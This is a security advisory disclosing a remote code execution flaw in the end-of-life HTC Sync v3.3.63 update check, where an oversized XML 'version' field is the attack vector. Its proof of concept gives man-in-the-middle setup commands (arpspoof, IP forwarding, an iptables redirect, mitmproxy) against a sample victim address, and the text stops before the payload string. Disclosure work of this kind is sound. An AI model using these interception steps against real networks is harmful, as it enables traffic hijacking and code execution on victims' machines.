SSD Advisory – HTC Sync Remote Code Execution

Vulnerabilities Summary
The following advisory describes a remote code execution (RCE) found in HTC Sync version v3.3.63.

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
The vulnerability was not reported to the vendor because the product has reached end of life on 31 August 2016 and was replaced by HTC Sync Manager which is not vulnerable to this vulnerability.

Vulnerability Details

HTC sync contains a remotely exploitable vulnerability within the latest HTC Sync (v3.3.63) software. During startup or if explicitly triggered by the user, HTC Sync checks for latest versions by sending an HTTP request to htc.com and then parses its reply (XML format).

In particular, the application first requests:

Which contains a link to the download URI which is available in:

By modifying e.g. the “version” field in the XML document an attacker can inject arbitrary code that gets executed on the victims machine.

Proof of Concept

An attacker that can place himself man-in-the-middle, either through ARP spoofing or DNS poisoning can intercept traffic and provide an overly long XML parameter which leads to remote code execution on the victims machine.

We used Kali Linux to set up man in the middle attack:

1. Enable arp spoofing

arpspoof -i eth0 -t 192.168.8.90 192.168.8.8 (from victim to mitm) arpspoof -i eth0 -t 192.168.8.90 192.168.8.1 (from router to victim)

1 2	arpspoof –i eth0 –t 192.168.8.90 192.168.8.8 (from victim to mitm) arpspoof –i eth0 –t 192.168.8.90 192.168.8.1 (from router to victim)

2. Enable IP forwarding

echo 1 >> /proc/sys/net/ipv4/ip_forwarding

1	echo 1 >> /proc/sys/net/ipv4/ip_forwarding

3. Add ip tables rule for mitm proxy:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080

1	iptables –t nat –A PREROUTING –i eth0 –p tcp —dport 80 –j REDIRECT —to–port 8080

4. Start mitmproxy

mitmproxy -T –host

1	mitmproxy –T —host

5. Intercept and modify traffic by hand

The “version” string for popping up calc.exe is: